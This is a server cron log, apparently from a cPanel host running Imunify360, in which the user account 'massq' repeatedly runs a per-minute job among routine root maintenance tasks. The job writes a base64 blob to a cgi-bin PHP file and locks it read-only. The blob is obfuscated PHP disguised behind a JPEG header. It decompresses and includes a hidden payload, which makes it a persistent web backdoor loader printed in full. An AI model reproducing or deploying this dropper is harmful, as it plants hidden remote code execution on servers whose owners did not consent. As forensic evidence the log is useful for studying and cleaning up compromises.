Sep  4 10:27:01 server CROND[15581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:27:01 server CROND[15583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:27:01 server CROND[15582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:28:01 server CROND[15962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:28:01 server CROND[15963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:28:01 server CROND[15964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:29:02 server CROND[16340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:29:02 server CROND[16339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:29:02 server CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:30:01 server CROND[16723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:30:01 server CROND[16724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:30:01 server CROND[16725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:30:01 server CROND[16727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:30:01 server CROND[16731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:30:01 server CROND[16730]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:30:01 server CROND[16726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:30:01 server CROND[16728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:31:01 server CROND[17564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:31:01 server CROND[17565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:31:01 server CROND[17566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:32:01 server CROND[18095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:32:01 server CROND[18096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:32:01 server CROND[18097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:33:01 server CROND[18496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:33:01 server CROND[18497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:33:01 server CROND[18498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:34:01 server CROND[18883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:34:01 server CROND[18884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:34:01 server CROND[18885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:35:01 server CROND[19279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:35:01 server CROND[19281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:35:01 server CROND[19285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:35:01 server CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:35:01 server CROND[19283]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 10:35:01 server CROND[19289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:35:01 server CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:35:01 server CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:35:01 server CROND[19287]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:36:01 server CROND[20126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:36:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:36:01 server CROND[20128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:37:01 server CROND[20506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:37:01 server CROND[20507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:37:01 server CROND[20508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:38:02 server CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:38:02 server CROND[20891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:38:02 server CROND[20892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:39:01 server CROND[21366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:39:01 server CROND[21367]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 10:39:01 server CROND[21368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
